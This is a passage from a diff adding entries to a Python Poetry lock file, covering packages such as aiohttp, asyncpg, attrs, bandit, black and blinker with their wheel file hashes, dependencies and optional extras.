"sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"}, + {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"}, + {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"}, + {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"}, + {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"}, + {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"}, + {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"}, + {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"}, + {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"}, + {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"}, +] + +[package.dependencies] +aiosignal = ">=1.1.2" +async-timeout = ">=4.0.0a3,<5.0" +attrs = ">=17.3.0" +charset-normalizer = ">=2.0,<4.0" +frozenlist = ">=1.1.1" +multidict = ">=4.5,<7.0" +yarl = ">=1.0,<2.0" + +[package.extras] +speedups = ["Brotli", "aiodns", "cchardet"] + +[[package]] +name = "aioitertools" +version = "0.11.0" +description = "itertools and builtins for AsyncIO and mixed iterables" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"}, + {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"}, +] + +[[package]] +name = "aiormq" +version = "6.6.4" +description = "Pure python AMQP asynchronous client library" +category = "main" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"}, + {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"}, +] + +[package.dependencies] +pamqp = "3.2.1" +yarl = "*" + +[[package]] +name = "aiosignal" +version = "1.3.1" +description = "aiosignal: a list of registered asynchronous callbacks" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"}, + {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"}, +] + +[package.dependencies] +frozenlist = ">=1.1.0" + +[[package]] +name = "anyio" +version = "3.6.2" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +category = "main" +optional = false +python-versions = ">=3.6.2" +files = [ + {file = "anyio-3.6.2-py3-none-any.whl", hash = "sha256:fbbe32bd270d2a2ef3ed1c5d45041250284e31fc0a4df4a5a6071842051a51e3"}, + {file = "anyio-3.6.2.tar.gz", hash = "sha256:25ea0d673ae30af41a0c442f81cf3b38c7e79fdc7b60335a4c14e05eb0947421"}, +] + +[package.dependencies] +idna = ">=2.8" +sniffio = ">=1.1" + +[package.extras] +doc = ["packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"] +test = ["contextlib2", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (<0.15)", "uvloop (>=0.15)"] +trio = ["trio (>=0.16,<0.22)"] + +[[package]] +name = "async-timeout" +version = "4.0.2" +description = "Timeout context manager for asyncio programs" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"}, + {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"}, +] + +[[package]] +name = "asyncpg" +version = "0.27.0" +description = "An asyncio PostgreSQL driver" +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "asyncpg-0.27.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fca608d199ffed4903dce1bcd97ad0fe8260f405c1c225bdf0002709132171c2"}, + {file = "asyncpg-0.27.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:20b596d8d074f6f695c13ffb8646d0b6bb1ab570ba7b0cfd349b921ff03cfc1e"}, + {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a6206210c869ebd3f4eb9e89bea132aefb56ff3d1b7dd7e26b102b17e27bbb1"}, + {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7a94c03386bb95456b12c66026b3a87d1b965f0f1e5733c36e7229f8f137747"}, + {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bfc3980b4ba6f97138b04f0d32e8af21d6c9fa1f8e6e140c07d15690a0a99279"}, + {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9654085f2b22f66952124de13a8071b54453ff972c25c59b5ce1173a4283ffd9"}, + {file = "asyncpg-0.27.0-cp310-cp310-win32.whl", hash = "sha256:879c29a75969eb2722f94443752f4720d560d1e748474de54ae8dd230bc4956b"}, + {file = "asyncpg-0.27.0-cp310-cp310-win_amd64.whl", hash = "sha256:ab0f21c4818d46a60ca789ebc92327d6d874d3b7ccff3963f7af0a21dc6cff52"}, + {file = "asyncpg-0.27.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:18f77e8e71e826ba2d0c3ba6764930776719ae2b225ca07e014590545928b576"}, + {file = "asyncpg-0.27.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2232d4625c558f2aa001942cac1d7952aa9f0dbfc212f63bc754277769e1ef2"}, + {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9a3a4ff43702d39e3c97a8786314123d314e0f0e4dabc8367db5b665c93914de"}, + {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccddb9419ab4e1c48742457d0c0362dbdaeb9b28e6875115abfe319b29ee225d"}, + {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:768e0e7c2898d40b16d4ef7a0b44e8150db3dd8995b4652aa1fe2902e92c7df8"}, + {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:609054a1f47292a905582a1cfcca51a6f3f30ab9d822448693e66fdddde27920"}, + {file = "asyncpg-0.27.0-cp311-cp311-win32.whl", hash = "sha256:8113e17cfe236dc2277ec844ba9b3d5312f61bd2fdae6d3ed1c1cdd75f6cf2d8"}, + {file = "asyncpg-0.27.0-cp311-cp311-win_amd64.whl", hash = "sha256:bb71211414dd1eeb8d31ec529fe77cff04bf53efc783a5f6f0a32d84923f45cf"}, + {file = "asyncpg-0.27.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4750f5cf49ed48a6e49c6e5aed390eee367694636c2dcfaf4a273ca832c5c43c"}, + {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:eca01eb112a39d31cc4abb93a5aef2a81514c23f70956729f42fb83b11b3483f"}, + {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:5710cb0937f696ce303f5eed6d272e3f057339bb4139378ccecafa9ee923a71c"}, + {file = "asyncpg-0.27.0-cp37-cp37m-win_amd64.whl", hash = "sha256:71cca80a056ebe19ec74b7117b09e650990c3ca535ac1c35234a96f65604192f"}, + {file = "asyncpg-0.27.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4bb366ae34af5b5cabc3ac6a5347dfb6013af38c68af8452f27968d49085ecc0"}, + {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:16ba8ec2e85d586b4a12bcd03e8d29e3d99e832764d6a1d0b8c27dbbe4a2569d"}, + {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d20dea7b83651d93b1eb2f353511fe7fd554752844523f17ad30115d8b9c8cd6"}, + {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e56ac8a8237ad4adec97c0cd4728596885f908053ab725e22900b5902e7f8e69"}, + {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bf21ebf023ec67335258e0f3d3ad7b91bb9507985ba2b2206346de488267cad0"}, + {file = "asyncpg-0.27.0-cp38-cp38-win32.whl", hash = "sha256:69aa1b443a182b13a17ff926ed6627af2d98f62f2fe5890583270cc4073f63bf"}, + {file = "asyncpg-0.27.0-cp38-cp38-win_amd64.whl", hash = "sha256:62932f29cf2433988fcd799770ec64b374a3691e7902ecf85da14d5e0854d1ea"}, + {file = "asyncpg-0.27.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fddcacf695581a8d856654bc4c8cfb73d5c9df26d5f55201722d3e6a699e9629"}, + {file = "asyncpg-0.27.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7d8585707ecc6661d07367d444bbaa846b4e095d84451340da8df55a3757e152"}, + {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:975a320baf7020339a67315284a4d3bf7460e664e484672bd3e71dbd881bc692"}, + {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2232ebae9796d4600a7819fc383da78ab51b32a092795f4555575fc934c1c89d"}, + {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:88b62164738239f62f4af92567b846a8ef7cf8abf53eddd83650603de4d52163"}, + {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eb4b2fdf88af4fb1cc569781a8f933d2a73ee82cd720e0cb4edabbaecf2a905b"}, + {file = "asyncpg-0.27.0-cp39-cp39-win32.whl", hash = "sha256:8934577e1ed13f7d2d9cea3cc016cc6f95c19faedea2c2b56a6f94f257cea672"}, + {file = "asyncpg-0.27.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b6499de06fe035cf2fa932ec5617ed3f37d4ebbf663b655922e105a484a6af9"}, + {file = "asyncpg-0.27.0.tar.gz", hash = "sha256:720986d9a4705dd8a40fdf172036f5ae787225036a7eb46e704c45aa8f62c054"}, +] + +[package.extras] +dev = ["Cython (>=0.29.24,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "flake8 (>=5.0.4,<5.1.0)", "pytest (>=6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)", "uvloop (>=0.15.3)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["flake8 (>=5.0.4,<5.1.0)", "uvloop (>=0.15.3)"] + +[[package]] +name = "asyncpg-stubs" +version = "0.27.0" +description = "asyncpg stubs" +category = "dev" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "asyncpg_stubs-0.27.0-py3-none-any.whl", hash = "sha256:271ea4787dd0e61ff3bffdeb542204af0584c13488a50c318f511c98722ca9e6"}, + {file = "asyncpg_stubs-0.27.0.tar.gz", hash = "sha256:2e805aeb2ed7b5577b70f7a6e95d5bf897a806a65726197bc15396378bb881d5"}, +] + +[package.dependencies] +asyncpg = ">=0.27,<0.28" +typing-extensions = ">=4.2.0,<5.0.0" + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "bandit" +version = "1.7.5" +description = "Security oriented static analyser for python code." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "bandit-1.7.5-py3-none-any.whl", hash = "sha256:75665181dc1e0096369112541a056c59d1c5f66f9bb74a8d686c3c362b83f549"}, + {file = "bandit-1.7.5.tar.gz", hash = "sha256:bdfc739baa03b880c2d15d0431b31c658ffc348e907fe197e54e0389dd59e11e"}, +] + +[package.dependencies] +colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""} +GitPython = ">=1.0.1" +PyYAML = ">=5.3.1" +rich = "*" +stevedore = ">=1.20.0" + +[package.extras] +test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)", "tomli (>=1.1.0)"] +toml = ["tomli (>=1.1.0)"] +yaml = ["PyYAML"] + +[[package]] +name = "binaryornot" +version = "0.4.4" +description = "Ultra-lightweight pure Python package to check if a file is binary or text." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"}, + {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"}, +] + +[package.dependencies] +chardet = ">=3.0.2" + +[[package]] +name = "black" +version = "22.12.0" +description = "The uncompromising code formatter." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"}, + {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"}, + {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"}, + {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"}, + {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"}, + {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"}, + {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"}, + {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"}, + {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"}, + {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"}, + {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"}, + {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"}, +] + +[package.dependencies] +click = ">=8.0.0" +mypy-extensions = ">=0.4.3" +pathspec = ">=0.9.0" +platformdirs = ">=2" + +[package.extras] +colorama = ["colorama (>=0.4.3)"] +d = ["aiohttp (>=3.7.4)"] +jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] +uvloop = ["uvloop (>=0.15.2)"] + +[[package]] +name = "blinker" +version = "1.6.2" +description = "Fast, simple object-to-object and broadcast signaling" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"}, + {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"}, +] + +[[package]] +name = "boto3" +version = "1.24.59" +description = "The AWS SDK for Python" +category = 